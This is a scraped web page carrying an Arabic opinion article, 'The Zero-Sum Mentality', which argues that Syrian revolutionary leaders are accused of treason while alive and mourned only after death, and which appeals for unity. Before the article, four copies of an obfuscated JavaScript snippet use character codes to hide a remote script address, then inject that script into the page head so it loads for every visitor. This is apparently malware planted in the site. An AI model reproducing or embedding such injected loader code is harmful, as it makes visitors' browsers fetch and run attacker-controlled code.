Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,101,109,112,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,116,101,109,112,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,101,109,112,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,116,101,109,112,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,101,109,112,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,116,101,109,112,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,101,109,112,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,116,101,109,112,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})(); العقلية الصفرية | سيريانا برس

العقلية الصفرية

إلى متى يبقى شرفاؤنا هم الذين واراهم التراب

إلى متى يبقى شرفاؤنا هم الذين واراهم التراب

تساورني مع رحيل كل شخصية عامة مقولة اليهود في إخواننا الفلسطينيين “إن الفلسطيني الجيد هو الذي دفن تحت التراب فقط” ، إشارة منهم إلى أنه يجب تشويه جميع الشخصيات الفلسطينية المخلصة العاملة في الشأن العام. حيث نجد القوى العاملة تطبق هذا النهج سلوكاً وعملاً، وتسير في نفس النسق الذي رسم لها من قبل أعدائها فتسقط رموزها ومرجعياتها التي عاشت وسط الناس وعانت معهم وساهمت في حل مشكلاتهم والتي يمكن من خلالها تأطير الأكثرية كمجتمع ناجح بين مجتمعات العالم.

بالأمس غادرنا الشيخ حامد الصالح أحد الشخصيات العامة العاملة في الثورة فانهالت عليه الرحمات ومقالات الثناء والمدح والتفجع على رحيله، مع أنه كان في الميدان منذ اللحظات الأولى فلم يتم الانتباه له والاستفادة منه في الشأن العام، بل إن الكثير حاربه لأنه اختلف معه في وجهة نظر بسيطة أو بسبب الخلاف في بعض القضايا التطبيقية مع الاتفاق في الهدف الكبير والمشروع العام.

وليس بعيداً رحل عبد الباسط الساروت القائد العسكري الذي لقب بحارس الثورة فرأينا الصراخ والعويل والحزن على فراقه مع أنه عرض نفسه على جميع القوى الفاعلة فلم يساعده أحد، وتم اعتقاله من قبل هيئة تحرير الشام فلم ينتصر له أحد من المتباكين عليه؛ رغم تضحياته وظهور إخلاصه للقاصي والداني وتقديمه لنفسه وماله وأهله وأصدقائه في سبيل ثورته.

وقبلهما قتل الشيخ زهران بغارة جوية وبتخطيط دولي بعد عدد من المحاولات الفاشلة لقتله لأنه تمتع بشخصية قيادية، والذي باستشهاده دخلت الثورة مرحلة جديدة، ومع هذا لم ينج من التخوين والعمالة مع أنه رفض التفريط بأي من المبادئ في سبيل مصلحته الشخصية، ووجد الكثير من المخالفين له في الجزئيات يرميه بأفظع التهم.
فلما قتل أظهر الجميع الحزن عليه وأقيمت له مجالس العزاء في عدد من العواصم العربية والإسلامية.

واذا استطلعت سيرة مشاهير الثورة وقادتها ستجد نفس التجربة تتكرر بدءاً بأبي علي عسكر القائد العسكري لحمص مروراً بالعقيد يوسف الجادر أبو فرات والشيخ مازن قسوم والشيخ أسامة يتيم والشيخ حسان عبود الذي قتل وهو يدعو إلى مشروع عام بعد أن تبين له عبث المشاريع الصغير، والقائد الكبير والشخصية الكارزمية الشيخ عبد القادر الصالح الذي ما تزال بصمته على الثورة حتى يومنا هذا.
فهل يمكن أن تصل العداوة بين العاملين في ميدان الثورة بسبب الخلافات الفصائلية والمنهجية والتنظيمية إلى حد التخوين والاتهام بالعمالة وأن يسمح أحدنا لنفسه أن يقارن بين من هو في صفه ويشترك معه في غالب مشروعه وبين من هو عدوه يقتله ويسومه وأهله سوء العذاب منذ عقود طويلة.
أعود إلى سيرة النبي صلى الله عليه وسلم لأجد ان النبي صلى الله عليه وسلم أخفى أسماء المنافقين ولم يقتلهم أو يشهر بهم حرصاً على وحدة المجتمع؛ ونحن للأسف قتلنا قادتنا ورموزنا المخلصة قبل أن يقتلهم أعداؤهم وأسقطناهم وهم في خنادقهم يقارعون الظلم والطغيان عندما تنكبنا لهم ولم نتفطن لهم في حياتهم.

وأتذكر وما أزال أشاهد وأسمع تهم التخوين التي تعرضت لها وما تزال شخصية وطنية مثل الشيخ معاذ الخطيب وهو أحد رموز هذه الثورة الكبار وذلك بسبب موقف جريء منه أدى إلى خلاف البعض معه فانهالوا عليه شتماً وطعناً وتخويناً متناسين سيرة هذا الرجل مستذكرين أخطاءه من أجل إسقاطه وتنحيته عن الشأن العام مع كل ما يجمعهم معه من الأهداف الكبرى لقضيتهم العادلة.

وأتذكر في هذا الموقف قول أحدهم في خلاف وقع بين جماعتين “إما كامل ما نطالب به أو لن نتفق”؛ وذلك بعد الاتفاق على 75-80٪ من المنتازع عليه.

هذه الطريقة بالتفكير والعقلية الصفرية الجامدة تسيطر على جميع العاملين في الساحة وهي خلاف منهج النبي صلى الله عليه وسلم وسيرته حتى مع أعدائه ففي صلح الحديبية تنازل النبي صلى الله عليه وسلم حتى عن وصفه بالنبوة عند كتابة نص الاتفاق في سبيل الوصول لصيغة تجمع ولا تفرق يتألف بها قلوبهم ويكون منها الخير الكبير للصالح العام.

وهنا يتساءل المرء هل يجب على جميع العاملين في الحقل العام أن يكونوا صورا مستنسخة عن بعضهم البعض أو أنهم لن يقبلوا بعضهم ضمن مشروع عام ما يجمعهم فيه أكثر مما يفرقهم، إلى متى ستبقى هذه النخب على هذه الحال تفرقها الأهواء والرؤى القاصرة والانطباعات الشخصية والمصالح الضيقة.

ألا يمكن أن تستذكر وهي في غمرة العمل والخلاف قول الله تعالى في آيات كثيرة عن ضرورة الاتفاق والتعاون والتحذير من الفرقة والاختلاف:
(وَاعْتَصِمُوا بِحَبْلِ اللَّهِ جَمِيعًا وَلَا تَفَرَّقُوا)
(وَلَا تَنَازَعُوا فَتَفْشَلُوا وَتَذْهَبَ رِيحُكُمْ ۖ وَاصْبِرُوا ۚ إِنَّ اللَّهَ مَعَ الصَّابِرِينَ)
(وَتَعَاوَنُوا عَلَى الْبِرِّ وَالتَّقْوَىٰ ۖ وَلَا تَعَاوَنُوا عَلَى الْإِثْمِ وَالْعُدْوَانِ).
ألا يمكن أن تعمل بالمتفق عليه كما ذكر الشيخ رشيد رضا في قاعدته المشهورة “نتعاون فيما اتفقنا عليه ويعذر بعضنا بعضا فيما اختلفنا فيه” والتي قال بعضهم معقبا عليها نتناصح فيما اختلفنا فيه؛ تعقيب جميل فلا بأس بالتناصح ولكن ضمن عمل مؤسساتي جماعي، فهل تستطيع القوى الثورية أسوة بغيرها أن تبني مؤسسات حقيقية تعطي لكل شخص قيمته ومكانته وتستثمر جميع الطاقات الكامنة فيها (وهي كثيرة) أم أنها ستبقى حبيسة هذه العقلية الفردية التي تسببت وما تزال تتسبب في ضياع المكاسب والتضحيات؟!!.

اترك رد

بريدك الالكتروني لن يكون ظاهراً